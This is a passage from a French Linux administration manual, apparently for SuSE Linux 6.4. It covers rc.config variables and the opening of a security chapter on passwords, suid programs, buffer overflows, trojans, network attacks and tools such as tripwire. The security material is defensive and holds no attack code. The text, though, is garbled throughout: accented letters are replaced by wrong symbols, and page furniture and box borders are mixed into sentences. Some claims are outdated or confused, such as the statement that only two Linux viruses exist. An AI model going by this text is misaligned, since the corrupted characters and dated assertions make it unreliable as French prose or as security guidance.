Les horloges radio ont des adresses de cette forme : 127.127.T.U .
Ici T tient la place du type de l'horloge et U celle du ``numΘro d'uni-
tΘ'' (angl. unit number) situΘ dans une zone de 0 α 3 . ~ Ces horloges,
pour la plupart, requiΦrent un port sΘrie ou un bus spΘcial. Le fichier de
+ pΘriphΘrique prΘvu α cet usage est normalement rΘfΘrencΘ par un lien
symbolique /dev/device-U pointant sur le pΘriphΘrique matΘriel. U doit
alors concorder avec le ``numΘro d'unitΘ'' mentionnΘ plus haut. Voir aussi
/usr/doc/packages/xntp/html/refclock.htm.
Exemple : Si vous avez une horloge radio connectΘe sur un port sΘrie, il
vous faut aussi un lien symbolique appropriΘ. refclock.htm vous fait
savoir quel doit Ωtre le nom de ce lien. ~ Les rΘcepteurs DCF77 usuels
sont gΘrΘs par le pilote ``PARSE''
## Type 8 Generic Reference Driver (PARSE)
## Address: 127.127.8.u
## Serial Port: /dev/refclock-u
*
* 459
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Si vous sΘlectionnez le serveur 127.127.8.0 par une entrΘe de
ntp.conf, il vous faut aussi un lien symbolique pointant de /dev/
refclock-0 sur ttySx ~ Le port sur lequel l'horloge est connectΘe est
ici reprΘsentΘ par x .
~ XNTPD_INITIAL_NTPDATE=""
Liste des serveurs NTP qui donnent la possibilitΘ d'obtenir l'heure avant
que le serveur local ne soit dΘmarrΘ, par exemple "soleil.cosmos.univers".
Si vous avez indiquΘ plusieurs serveurs, leurs noms doivent Ωtre sΘparΘs
par un espace.
~ DISPLAYMANAGER=""
DΘcrit comment le login doit se faire : sur la console texte ou en mode gra-
phique sous le systΦme X Window. Les valeurs possibles sont xdm (ges-
tionnaire d'affichage standard du systΦme X Window), kdm (gestionnaire
d'affichage de KDE) ou "" . Dans le dernier cas, il est prΘsumΘ que l'on ne
souhaite pas un login en mode graphique et que la machine est dΘmarrΘe
dans le runlevel 2 (console texte). C'est la valeur par dΘfaut.
~ KDM_SHUTDOWN=root
Indique quels utilisateurs sont autorisΘs α arrΩter la machine au moyen
de kdm (reboot ou shutdown). Les valeurs possibles sont root (`root'
doit s'identifier avec son mot de passe), all (tous les utilisateurs), none
(personne ne peut arrΩter la machine au moyen de kdm ) et local (la
machine ne peut Ωtre arrΩtΘe que si l'utilisateur se connecte localement
et non par le rΘseau). Si la variable est positionnΘe α "" la valeur root
sera prise comme valeur par dΘfaut.
~ CONSOLE_SHUTDOWN=reboot
Indique comment_le processus_init _rΘagit_si l'on fait la combinaison de
touches |______C|trl+ |____A|lt+ |_______S|uppr. Les valeurs possibles sont reboot (la
machine s'arrΩte et rΘamorce), halt (la machine s'arrΩte et reste arrΩtΘe)
et ignore (la pression de la combinaison de touches ne produit aucun
effet). La valeur par dΘfaut est reboot .
~ START_AXNET=no
Serveur pour Applixware.
~ START_MYSQL=no
Serveur pour MySQL .
~ START_ADABAS=no
Serveur pour Adabas . Les variables suivantes se rapportent α Adabas :DBROOT ,
DBNAME , DBUSER et DBCONTROL ~ voir les commentaires dans rc.
config.
~ START_DB2=no
Serveur pour DB2.
~ START_ARKEIA=no
Serveur de sauvegarde Arkeia
~ START_ARGUS=no
Serveur pour Argus (moniteur rΘseau).
~ ARGUS_INTERFACE=eth0
L'interface qui doit Ωtre contr⌠lΘe par Argus .
460
_______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________*
*______________________
~ ARGUS_LOGFILE="/var/log/argus.log"
Le fichier de trace (log) Argus . Ce fichier peut devenir trΦs gros !
~ CRON=yes
Contr⌠le le dΘmarrage et l'arrΩt du dΘmon cron. Ce dΘmon lance certains
programmes α des heures qui ont ΘtΘ prΘcisΘes. Le dΘmon cron est lancΘ
dans les runlevels 2 et 3 ! Il est fortement conseillΘ de l'activer sur des ma-
chines qui tournent 24 heures sur 24. Le dΘmon AT offre une alternative
ou un complΘment. (voir page 458).
_______________________________________________________________________________________________________________________||
|||||||| Il existe toute une sΘrie d'options qui rendent nΘcessaire le lancement rΘ- ||| |
|||||||| gulier de certains programmes. Pour cette raison, le dΘmon cron devrait || |
|||||||| || |
|||||||| Ωtre activΘ sur chaque systΦme. || |
||||||||_______________________________________________________________________________________________________________||_
SΘcuritΘ et services de maintenance locaux
~ RUN_UPDATEDB=yes
DΘtermine si la base de donnΘes pour locate (locate ) doit Ωtre ac-
tualisΘe une fois par nuit. locate sert α retrouver rapidement des fi-
chiers dans le systΦme. Il est possible d'apporter des retouches α upda-
tedb au moyen des variables RUN_UPDATEDB_AS , UPDATEDB_NETPATHS ,
UPDATEDB_NETUSER et UPDATEDB_PRUNEPATHS (voir les commentaires
dans rc.config). ~ Cette actualisation peut se faire peu de temps aprΦs
l'amorτage, α un moment o votre machine ne tourne pas sans interruption.
Voir le paragraphe 16.6.1 page 442.
~ REINIT_MANDB=yes
Lorsque la base de donnΘes de la page de man doit Ωtre quotidiennement
renouvelΘe par cron.daily .
~ CREATE_INFO_DIR=yes
DΘtermine si le fichier /usr/info/dir qui constitue un index pour toutes
les pages info existantes doit Ωtre crΘΘ automatiquement. Ceci est utile
aprΦs l'installation d'un paquetage qui contient une page info. Notez que
pour l'utilisation de cette fonction perl doit Ωtre installΘ !
~ CHECK_PERMISSIONS=set
DΘtermine si les permissions des fichiers doivent Ωtre vΘrifiΘes α l'aide de
/etc/permissions. Avec set , les configurations erronΘes seront corri-
gΘes, avec warn il ne sera Θmis que des ``avertissements'' et avec no , cette
fonction sera dΘsactivΘe.
~ PERMISSION_SECURITY="easy local"
Dans /etc/permissions.paranoid, /etc/permissions.secure et
/etc/permissions.easy, trois niveaux de sΘcuritΘ sont prΘvus. Indi-
quez ici easy , secure ou /etc/permissions.paranoid . Vous pouvez
faire vos propres configurations, par exemple dans /etc/permissions.
local, et ajouter ensuite come valeur l'extension local .
~ RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb
DΘtermine α quel endroit cron.daily doit Θcrire les sauvegardes de la base
de donnΘes RPM. Si vous ne dΘsirez pas de sauvegarde, positionnez cette
variable α "" .
*
* 461
17. Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
~ MAX_RPMDB_BACKUPS=5
DΘtermine le nombre de sauvegardes de la base de donnΘes RPM.
~ DELETE_OLD_CORE=yes
Les fichiers core sont des images de l'occupation mΘmoire de pro-
grammes qui ont ΘtΘ stoppΘs en raison d'une violation de la protection de
la mΘmoire. Ces images servent α la recherche des erreurs. Vous pouvez
spΘcifier ici que d'Θventuels vieux fichiers core doivent Ωtre rΘguliΦrement
recherchΘs et automatiquement effacΘs.
~ MAX_DAYS_FOR_CORE=7
DΘtermine l'anciennetΘ maximale (en jours) que peuvent avoir les fichiers
core avant d'Ωtre effacΘs automatiquement.
~ MAX_DAYS_FOR_LOG_FILES=365
Lorsqu'un fichier de traces (angl. logfile) (principalement sous /var/
log) a atteint une certaine taille, il est automatiquement compressΘ et
archivΘ et root en est averti par courrier Θlectronique. Avec ce paramΦtre,
vous pouvez dΘterminer combien de temps de tels fichiers de sauvegarde
doivent Ωtre conservΘs avant d'Ωtre automatiquement effacΘs. Si vous fixez
la valeur α 0 , les fichiers ne seront ni comprimΘs ni archivΘs. Ils continue-
ront alors α Ωtre Θcrits sans limite et pourront atteindre une taille considΘ-
rable ! Vous pouvez, avec less , visualiser α tout moment vos fichiers de
sauvegarde compressΘs.
~ MAX_DAYS_IN_TMP=30
Il est vΘrifiΘ quotidiennement s'il existe dans les rΘpertoires tmp des fi-
chiers auquels on n'a pas accΘdΘ pendant une pΘriode plus longue que
celle spΘcifiΘe (en jours). Si aprΦs la fin de cette pΘriode il n'y a plus eu
aucun accΦs α un fichier de ce rΘpertoire, il sera automatiquement effacΘ.
~ TMP_DIRS_TO_CLEAR="/tmp /var/tmp"
SpΘcification des rΘpertoires dans lesquels il sera automatiquement re-
cherchΘ tous les jours d'anciens fichiers.
~ OWNER_TO_KEEP_IN_TMP="root bs"
Les fichiers des utilisateurs systΦme spΘcifiΘs ici ne devront pas Ωtre ef-
facΘs des rΘpertoires tmp mΩme s'il n'y a eu aucun accΦs pendant une
pΘriode plus longue que celle spΘcifiΘe.
~ CWD_IN_ROOT_PATH=no
RΘpertoire courant (angl. current working directory) dans le chemin de
`root'.
~ ROOT_LOGIN_REMOTE=no
Si le login pour `root' via telnet ou rlogin doit Ωtre autorisΘ, cette va-
riable est α positionner α yes . Pour connaεtre les effets de cette variable
au niveau de la sΘcuritΘ, lisez la page 475.
~ SUSEWM_UPDATE=yes
DΘtermine si SuSEconfig doit adapter, dΘpendamment des paquetages lo-
giciels installΘs, les fichiers de configuration du systΦme pour le gestion-
naire de fenΩtres. Il est possible d'apporter quelques retouches α l'aide
des variables SUSEWM_WM , SUSEWM_MWM , SUSEWM_XPM , SUSEWM_ADD *
* et
SUSEWM_COMPAT .
462
HuitiΦme partie
SΘcuritΘ et autres astuces
463
Chapitre 18
La sΘcuritΘ est une question de
confiance
18.1 Principes de base
Il n'est absolument plus possible aujourd'hui d'ignorer les menaces qui nous
guettent sur l'Internet. Presque tous les jours, nous apprenons l'existence d'un
nouveau danger pour notre ordinateur personnel ou notre rΘseau d'entreprise
qui risquent d'Ωtre victimes d'attaques par Internet ou d'invasions de virus.
Nous avons cependant la possibilitΘ de parer α de telles menaces.
Mais avant de dΘcrire en dΘtail les diffΘrents mΘcanismes de protection, il
convient de prΘciser tout d'abord ce que l'on entend par sΘcuritΘ (angl. secu-
rity)1 et de dΘfinir les risques contre lesquels on souhaite se protΘger. Les 6
points suivants montrent clairement que la sΘcuritΘ constitue un objectif que
tout utilisateur doit se fixer pour sa machine :
1. Protection des ressources
2. AccΦs aux informations
3. DisponibilitΘ des donnΘes
4. IntegritΘ des donnΘes
5. ConfidentialitΘ des donnΘes (juridiction concernant par exemple les cabi-
nets mΘdicaux ou les banques)
6. Vie privΘe
La sΘcurisation de ces 6 points doit faire l'objet d'un concept bien ΘlaborΘ. Il
convient ici de tenir compte non seulement des dangers que reprΘsentent les
intrusions mais aussi des dΘgΓts que peut provoquer un matΘriel dΘfectueux
comme par exemple un disque dur qui se bloque ou des bandes de sauvegarde
endommagΘes.
Si des donnΘes de transactions doivent Ωtre traitΘes sur le systΦme, les lois
qui rΘglementent dans plusieurs pays la manipulation de donnΘes confiden-
tielles et qui imposent, entre autre, α l'administrateur systΦme, l'obligation de
protΘger le systΦme contre des accΦs non autorisΘs, entrent ici en jeu2 .
1 ____________________________________________________
En amΘricain usuel, on trouve trΦs souvent le mot trust qui dΘsigne plut⌠t le degrΘ de confiance
que l'utilisateur accorde α son systΦme.
2 D'autres rΘglementations peuvent aussi s'appliquer, par exemple au sujet de donnΘes de tran-
sactions qui doivent Ωtre disponibles pour un temps assez long α des fins de vΘrification.
*
* 465
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| L'ΘlΘment essentiel d'un bon concept de sΘcuritΘ est la crΘation rΘguliΦre *
* ||||
|| de copies de sauvegarde que l'on doit contr⌠ler afin de s'assurer qu'elles *
* ||||
| sont vraiment utilisables. *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
En rΘsumΘ, votre systΦme est exposΘ aux risques suivants :
Utilisateurs qui travaillent directement sur les machines. Ils constituent le
plus gros de tous les risques. Ils peuvent causer des dommages aussi bien
par inadvertance que par malveillance.
Communications par rΘseaux locaux ou Θtendus tels que l'Internet. D'une
part ces communications peuvent Ωtre interceptΘes et d'autre part les rΘ-
seaux offrent des possibilitΘs d'attaques α distance sans aucune limite gΘo-
graphique.
AccΦs direct α la machine. Elle peut Ωtre volΘe ou sabotΘe par des cambrio-
leurs ou autres personnes malveillantes.
Catastrophes naturelles auxquelles les ordinateurs sont trΦs vulnΘrables.
Composants matΘriels et logiciels pouvant Ωtre dΘfectueux en raison d'une
mauvaise conception ou d'anomalies concrΦtes. Non seulement de tels
composants constituent un risque potentiel pour vos donnΘes mais ils
peuvent aussi faciliter une compromission ou rendre un service complet
inutilisable (voir aussi paragraphe 18.1.2 page 471).
Supports de donnΘes tels que disquettes, bandes ou disques durs qui
peuvent Ωtre volΘs, perdus ou endommagΘs.
Radiations ΘlectromagnΘtiques Θmises par tout ordinateur, moniteur et
cΓble rΘseau. Les informations qu'elles contiennent peuvent Ωtre captΘes
α l'aide de dispositifs adΘquats et Ωtre exploitΘes. Ces radiations sont
transmises au travers de canalisations ou de cΓbles Θlectriques. Contrai-
rement α ce que l'on pense habituellement, les moniteurs LCD Θmettent
aussi des radiations.
Nous allons nous pencher de plus prΦs sur les deux premiers points car c'est
surtout dans ces domaines qu'une mise en oeuvre adΘquate de SuSE Linux
permet d'Θliminer la majeure partie des risques potentiels. L'utilisateur privΘ
de SuSE Linux sera s√rement moins intΘressΘ par les autres points mais les
personnes concernΘes par la mise en place d'un rΘseau d'entreprise devraient
les prendre en considΘration.
Nous vous prΘsenterons, au paragraphe 18.1.1 et au paragraphe 18.1.2
page 470, les diffΘrentes formes d'attaques dont vous pourriez Ωtre vic-
time avant de vous prΘsenter au paragraphe 18.2 page 471 les diffΘrents outils
que SuSE Linux 6.4 met α votre disposition pour vous permettre d'y parer.
Nous terminerons par quelques informations gΘnΘrales dont vous devriez
absolument tenir compte.
18.1.1 SΘcuritΘ locale
CharitΘ bien ordonnΘe : : : Commenτons d'abord par penser α la sΘcuritΘ de
notre propre machine dans le rΘseau local. MΩme si votre machine n'est pas
466
________________________________________________________________________________________________18.1.__Principes_de_base____*
*______________________
connectΘe α un rΘseau ou ne l'est que de faτon occasionnelle, quelques me-
sures de prudence ne peuvent pas nuire. L'effacement de votre disque dur au
cours d'une joyeuse surprise-partie peut vous rΘserver des surprises beaucoup
moins joyeuses si vous constatez le lendemain que vous avez perdu la thΦse
que vous veniez tout juste de terminer.
Mot de passe
Linux qui est un systΦme multiutilisateur ne se contente pas d'un seul mode de
gestion des utilisateurs. Il dispose d'un mΘcanisme complet d'authentification
par mots de passe. MΩme si cela peut sembler incommode et mΩme superflu,
vous devriez attribuer α chaque utilisateur de votre systΦme un mot de passe
bien choisi3 . Cette simple mesure protΦge votre systΦme contre les intrusions
malveillantes et le met α l'abri des manipulations maladroites. L'utilisateur
`root' est la cible de prΘdilection des attaques et son mot de passe devrait
par consΘquent Ωtre choisi avec le plus grand soin.
Mais les meilleurs mots de passe ne servent α rien si un intrus a directement
accΦs α une machine et peut l'amorcer. Il est en effet possible, avec une dis-
quette d'amorτage, d'avoir accΦs au systΦme installΘ. Pour cette raison, vous
devriez dΘsactiver les lecteurs de disquettes comme pΘriphΘriques amorτables
dans la configuration de votre BIOS.
_______________________________________________________________________________________________________________________||
|||||||| Afin que cet obstable ne puisse pas Ωtre contournΘ, vous devriez par la ||| |
|||||||| mΩme occasion dΘfinir un mot de passe pour le BIOS. Mais vous devez || |
|||||||| || |
|||||||| absolument vous souvenir de ce mot de passe car si vous l'oubliez il vous || |
|||||||| sera alors impossible d'accΘder α votre propre BIOS ! ~ α moins que le || |
|||||||| || |
|||||||| BIOS ne soit remis α zΘro pour faire disparaεtre le mot de passe. || |
||||||||_______________________________________________________________________________________________________________||_
Si vous utilisez LILO (voir page 129), vous devriez insΘrer dans le fi-
chier /etc/lilo.conf l'option restricted ainsi qu'un mot de passe (par
exemple password=mot_de_passe_s√r ) et activer cette option au moyen
de lilo . Faute de quoi il est parfaitement possible α toute personne se trou-
vant directement devant la machine de compromettre le systΦme. Le mot de
passe doit Θvidemment Ωtre s√r et le fichier /etc/lilo.conf ne doit Ωtre
lisible que par l'utilisateur `root'
Le paquetage john de la sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
contient un programme permettant de deviner les mots de passe. L'adminis-
trateur avisΘ peut l'utiliser afin de faire reconnaεtre automatiquement les mots
de passe peu fiables et recommander aux utilisateurs l'emploi de mots de
passe s√rs.
Droits d'accΦs
Afin de diminuer le risque de dommages que les diffΘrents utilisateurs pour-
raient causer avec ou sans intention, chacun d'entre eux devrait travailler avec
des permissions minimales. Il n'est pas nΘcessaire de travailler constamment
3 ____________________________________________________
Le choix d'un bon mot de passe a dΘjα fait l'objet d'articles souvent trΦs longs. Au para-
graphe 18.4 page 480, vous trouverez quelques informations pratiques α ce sujet.
*
* 467
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
sous le compte `root' et le mot de passe ne devrait Ωtre connu que de l'ad-
ministrateur.
DΘpassement de buffer et autres attaques
La mΘthode la plus populaire d'usurper les droits `root' sur une machine
consiste α provoquer ce que l'on appelle un dΘpassement de buffer (angl. buf-
fer overflow)4 Ces ``exploits'' ont pour but de saturer les champs statiques dans
la pile utilisateur d'un programme, par exemple lors d'une entrΘe de texte, et
d'Θcraser par d'autres valeurs les variables de cette pile. La consΘquence en
est que l'on ne peut plus exΘcuter de code comme par exemple dΘmarrage
d'un shell. Ceci concerne essentiellement les programmes avec des dimen-
sions de tableaux statiques pour les entrΘes de valeurs et sans contr⌠le de
dΘbordement de buffer.
Les seuls programmes vulnΘrables α cette forme d'attaque sont ceux dont le
bit suid ou sgid est positionnΘ, en d'autres termes les programmes qui sont
lancΘs avec les droits du propriΘtaire et non pas avec ceux de l'utilisateur.
Ces programmes sont habituellement suid-root car ils exΘcutent des tΓches
(comme par exemple passwd ) pour lesquelles un utilisateur normal n'a pas
de permission. Le but de notre distribution est par consΘquent de limiter le
nombre de ces programmes et de les sΘcuriser contre de telles attaques. Outre
ces programmes, les services systΦme sous forme de dΘmons sont Θgalement
vulnΘrables α ce genre d'attaque. Vous devriez par ailleurs vous tenir informΘ
et procΘder α une mise α jour ou appliquer immΘdiatement des patches dΦs
que vous avez connaissance de tels exploits.
Un autre danger pour les programmes privilΘgiΘs et services en cours est ce
que l'on appelle les ``attaques aux liens symboliques'' (angl. link attacks). Un
fonctionnement peu s√r des programmes dans des rΘpertoires en libre accΦs
peut permettre de diriger les donnΘes vers des fichiers totalement diffΘrents et
de compromettre ainsi le systΦme ou de provoquer un plantage.
Pour rΘduire le nombre de fichiers suid et sgid dans le systΦme SuSE Linux,
il est possible avec YaST de positionner les droits des fichiers α secure
ou paranoid sous `Administration du systΦme' et `Configuration
sΘcuritΘ du systΦme' dans la fenΩtre de sΘlection `Les droits sur
les fichiers sont positionnΘs α :'. Vous pouvez ensuite vΘrifier
dans les fichiers /etc/permissions.secure et /etc/permissions.
paranoid quels droits ont ΘtΘ ainsi positionnΘs. Avant d'utiliser paranoid ,
vous devriez toutefois vous assurer que la fonctionnalitΘ du systΦme n'est pas
trop limitΘe pour vos propres besoins.
En raison de sa complexitΘ et de la croissance de son code, le
systΦme X Window (XFree86) s'est trΦs souvent rΘvΘlΘ vulnΘrable. Ce pro-
blΦme a toutefois perdu de son acuitΘ sous SuSE Linux du fait que les
serveurs et les bibliothΦques ne sont plus suid-root. Mais il peut malgrΘ
tout, dans certaines circonstances, subsister quelques failles dans la com-
munication entre client et serveur. Il est par exemple possible d'intercepter
des entrΘes clavier et de lire le contenu de fenΩtres. Pour vous assurer un
_____________________________________________4
MΘthode connue aussi sous le nom de ``stack smashing'' (Θcrasement de pile).
468
________________________________________________________________________________________________18.1.__Principes_de_base____*
*______________________
bon niveau de sΘcuritΘ, observez la rΦgle 3, utilisez Xauthority (par la com-
mande xauth ) et abstenez-vous d'utiliser xhost + . Pour lancer α distance
des programmes X, vous devriez si possible utiliser le paquetage ssh de
la sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme) (+ Encryptage).
Si vous voulez en faire un usage commercial, observez les termes de la
licence (/usr/doc/packages/ssh/COPYING). ssh est Θgalement dispo-
nible pour les autres plates-formes les plus courantes. La fonctionnalitΘ
``X11-Forwarding'' comporte cependant des risques qui lui sont propres et il
vous est fortement recommandΘ d'envisager d'y renoncer complΦtement.
_______________________________________________________________________________________________________________________
|||||||| Le systΦme X Window ne devrait d'ailleurs pas Ωtre installΘ sur des ser- || |
|||||||| || |
|||||||| veurs critiques, ne serait-ce que pour des raisons de performance. || |
||||||||_______________________________________________________________________________________________________________||_
Virus et chevaux de Troie
Il y a encore peu de temps, des virus de toutes sortes faisaient des ravages et
leur rayon d'action ne se limitait pas α quelques PC car les disquettes servant
α la diffusion et α l'Θchange de logiciels constituent un vΘritable bouillon de
culture pour ce genre de programmes. Fort heureusement, on ne connaεt pour
Linux que 2 virus. Comme on ne distribue pratiquement pas de logiciels au
format binaire pour Linux et que SuSE Linux peut Ωtre considΘrΘ comme
exempt de virus, vous ne courez aucun risque d'infection si vous observez la
rΦgle 1, page 480.
Il n'en est toutefois pas de mΩme pour les virus macro qui continuent α se
propager et qui, nichΘs dans des documents de traitement de texte, sont trans-
mis par E-mail. Le logiciel bureautique le plus courant n'Θtant pas disponible
sous Linux, ces virus macro se trouvent dans un environnement ``stΘrile'' sur
SuSE Linux. Le r⌠le ``d'agent de transport de mail'' que SuSE Linux joue de
plus en plus frΘquemment sur les serveurs de messagerie donne l'occasion de
scanner le courrier entrant et sortant pour y dΘcouvrir d'Θventuels virus.
Les ``chevaux de Troie'' constituent un problΦme diffΘrent . Ces programmes
cherchent α se faire passer pour autre chose que ce qu'ils sont afin de camou-
fler leur vΘritable activitΘ. DerriΦre une invite de login, il peut se cacher un
cheval de Troie qui rassemble dans un fichier ou transmet par E-mail les mots
de passe qu'il a escroquΘs. Ceci peut ne pas sembler trop grave au premier
abord mais dΦs qu'il s'agit de numΘros de cartes de crΘdit ou d'identification
de comptes courants les choses deviennent plus sΘrieuses. Le risque de tΘlΘ-
charger un cheval de Troie depuis Internet ou de le voir s'infiltrer par courrier
Θlectronique est relativement minime. Mais la technique consistant α laisser
quelques Troyens sur un systΦme dΘjα compromis afin de s'en assurer l'accΦs
α tout moment constitue une pratique rΘpandue. La prΘsence de chevaux de
Troie peut donc Ωtre considΘrΘe comme un signe rΘvΘlateur plut⌠t s√r de la
compromission d'un systΦme.
Il n'existe pas de protection absolue contre les virus et les chevaux de Troie.
On peut toutefois limiter les risques en utilisant un bon scanner de virus
ainsi qu'en manipulant les disquettes et les programmes externes avec la plus
grande prudence et en observant les rΦgles ΘnumΘrΘes au paragraphe 18.4
page 480. Certains programmes tels que tripwire , paquetage tripwire, sΘrie
*
* 469
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
sec (Logiciels relatifs α la sΘcuritΘ du systΦme), voir page 472 apportent aussi
une aide prΘcieuse lorsqu'il s'agit de dΘtecter des chevaux de Troie.
18.1.2 SΘcuritΘ rΘseau
Il n'existe plus guΦre aujourd'hui de machines complΦtement isolΘes. En rai-
son des excellentes capacitΘs rΘseau de Linux, de nombreuses machines fonc-
tionnent dans un LAN, sont connectΘes par modem ou ISND α Internet ou
servent de passerelles pour des sous-rΘseaux. Ceci expose ces machines α
toutes sortes d'attaques par rΘseau.
Par l'installation et la configuration d'un pare-feu (angl. firewall), vous pou-
vez vous prΘmunir contre la plupart des tentatives d'attaque. Les ports ouverts
restent bien s√r vulnΘrables mais vous pouvez rΘduire considΘrablement le
risque par la mise en oeuvre d'autres outils adΘquats.
Le risque d'Ωtre la cible d'une attaque pendant les 30 minutes que vous passez
α lire votre courrier Θlectronique peut Ωtre considΘrΘ comme minime. Mais les
systΦmes connectΘs en permanence devraient absolument Ωtre protΘgΘs. Nous
allons vous prΘsenter ici les formes d'attaques les plus courantes
Attaque de l'homme au milieu
Les ``attaques de l'homme au milieu'' (angl. Man in the middle attacks)
concernent le trafic routΘ par une ou plusieurs machines entre diffΘrents rΘ-
seaux. L'attaquant prend le contr⌠le de l'un des routeurs et peut intercepter
des paquets IP, les rediriger ou les Θchanger. Comme α l'heure actuelle les pa-
quets IP ne sont pas authentifiΘs, cette forme d'attaque est relativement facile.
Le prochain standard IPv6 nous promet une amΘlioration.
La seule maniΦre de parer α ce genre d'attaques dont on peut Ωtre victime en
Θchangeant du courrier Θlectonique ou lors de l'accΦs α un serveur WWW est
l'adoption d'un puissant systΦme de d'+ encryptage.
telnet et rsh font apparaεtre les messages, y compris les mots de passe, en
texte clair. C'est ceci qui rend le plus frΘquemment un systΦme vulnΘrable
aux attaques extΘrieures et il est judicieux d'utiliser α la place ssh . Pour la
signature du courrier Θlectronique, il est recommandΘ d'utiliser pgp . Le pro-
tocole SSL permet l'+ encryptage de pages HTTP. La qualitΘ de l'encryptage
est toutefois Θtroitement liΘe α la sΘcuritΘ de transmission des clΘs. Il convient
donc de faire preuve ici de la plus grande prudence !
Le paquetage modssl de la sΘrie n (RΘseau) contient le module SSL pour le
serveur HTTP paquetage apache.
DΘpassement de buffer, 2Φme partie
AprΦs le ``sniffing'' qui est la lecture passive de donnΘes (par exemple login et
mot de passe), les dΘpassements de buffer (angl. buffer overflows) constituent
la mΘthode la plus frΘquemment employΘe pour compromettre un systΦme de
l'extΘrieur. Ici, tout service accessible de l'extΘrieur (par exemple messagerie,
serveur Web, POP3, etc.) reprΘsente un risque potentiel pour la sΘcuritΘ du
systΦme. Tout service indispensable qui ne peut pas Ωtre dΘsactivΘ devrait Ωtre
470
_________________________________________________________________________________________________________________18.2.__Outi*
*ls____________________
accessible, si possible α travers un filtrage Firewall configurΘ dans le noyau
Linux (au moyen de ipchains ), uniquement α partir de systΦmes dΘterminΘs.
Et si cela n'est pas non plus possible, vous devriez essayer de remplacer
le service par une version particuliΦrement s√re (par exemple le paquetage
postfix au lieu du paquetage sendmail). Les experts peuvent en outre faire
fonctionner chaque service un environnement chroot spΘcifique.
Attaque par dΘni de service
Une attaque par dΘni de service (angl. denial of service) a pour but de mettre
un service rΘseau hors fonction par un encombrement provoquΘ intentionnel-
lement. Dans certains cas, ce n'est pas seulement le service en question qui
est touchΘ mais aussi la machine elle-mΩme qui n'est alors plus accessible.
Cette forme d'attaque est trΦs souvent utilisΘe pour dΘsactiver un serveur de
noms et faire assumer ses fonctions par une autre machine. Les paquets rΘseau
peuvent alors Ωtre acheminΘs vers une autre direction. Le dΘni de service est
trΦs souvent combinΘ α l'IP spoofing dans le but de masquer l'origine de l'at-
taque (voir prΘsente page). Pour cette raison, on n'obtient en gΘnΘral aucun
rΘsultat en faisant des recherches et la seule solution est de mieux sΘcuriser
son systΦme.
DΦs qu'une attaque par dΘni de service ayant provoquΘ le blocage complet
d'une machine est connue, un patch est mis α disposition dans les quelques
heures qui suivent. SuSE Linux est parΘ contre les attaques par dΘni de service
connues au moment de l'Θlaboration de la version actuelle. Mais l'adminis-
trateur responsable d'un systΦme devrait toutefois se tenir continuellement
informΘ.
IP Spoofing
L'``IP Spoofing'' est une technique qui tire parti d'une lacune de sΘcuritΘ dans
le protocole TCP/IP. L'adresse de l'expΘditeur d'un paquet TCP/IP n'est pas
contr⌠lΘe et peut Ωtre modifiΘe ce qui permet α l'attaquant de camoufler son
origine.
Il est tout d'abord essentiel que vous configuriez votre propre routeur de telle
maniΦre que seuls les paquets ayant une adresse d'origine externe puissent
passer dans le rΘseau interne et que seuls les paquets ayant une adresse interne
soient routΘs vers le rΘseau externe.
18.2 Outils
Nous allons maintenant vous prΘsenter les outils qui vous permettent de
contr⌠ler votre systΦme et de rechercher des failles Θventuelles. Mais il
convient de prΘciser ici que les dangers potentiels auxquels une machine est
exposΘe doivent toujours Ωtre ΘvaluΘs de faτon individuelle. Les mesures de
contr⌠le et de protection α prendre pour une machine qui se trouve dans un
rΘseau protΘgΘ par un pare-feu seront moins sΘvΦres que celles qui s'imposent
pour une machine connectΘe α un rΘseau sans aucune protection.
*
* 471
18. La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
*_______________________________________@
18.2.1 Outils locaux
L'avantage incontestable de Linux par rapport α d'autres systΦmes d'exploi-
tation est d'une part sa stabilitΘ et d'autre part sa fonction multiutilisateur.
Mais ce dernier point comporte aussi des risques que l'on aurait tort de sous-
estimer. Il existe, en plus des permissions bien connues, des paramΦtres pou-
vant Ωtre exploitΘs par des utilisateurs (ou attaquants) expΘrimentΘs. Nous par-
lons ici du fameux bit suid. Un programme qui a ce bit positionnΘ obtient au-
tomatiquement les droits de l'utilisateur auquel il appartient. Si ce programme
appartient au super-utilisateur (root), il a dans le systΦme les droits du super-
utilisateur mΩme s'il est lancΘ par n'importe quel autre utilisateur. Cela paraεt
plut⌠t dangereux mais certaines fonctionnalitΘs le requiΦrent. Le programme
ping , par exemple, doit Ωtre exΘcutΘ avec les droits du super-utilisateur. Cela
signifierait normalement que seul l'utilisateur `root' est autorisΘ α l'exΘcu-
ter. Pour Θviter qu'il en soit ainsi, on positionne le bit suid.
tux@terre:/home/tux > ls -l /bin/ping
________________________________________________________________________________________________________*
*________
|-rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Si vous voulez savoir quels programmes dans votre systΦme ont le bit suid
positionnΘ et appartiennent α l'utilisateur `root', tapez tout simplement
tux@terre:/home/tux > find / -uid 0 -perm +4000
Ceci vous permet de dΘtecter les programmes ``suspects''. Sous SuSE
Linux, vous pouvez, dans le menu de YaST `Administration du
systΦme' et `Configuration sΘcuritΘ du systΦme', sΘlection-
ner l'option secure dans la fenΩtre `Les droits sur les fichiers
sont positionnΘs α :'. Vous pourrez ensuite vΘrifier dans le fichier
/etc/permissions.secure quels droits ont ΘtΘ dΘfinis.
Pratiquement personne ne dispose du temps nΘcessaire pour vΘrifier constam-
ment sa machine α l'aide de commandes subtiles. Mais il existe heureusement
des outils qui nous facilitent la tΓche. Nous allons maintenant dΘcrire briΦ-
vement l'un de ces outils que nous jugeons opportun de mentionner car il
est recommandΘ par le CERT5 . Il s'agit du programme tripwire , paquetage
tripwire, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme).
Tripwire
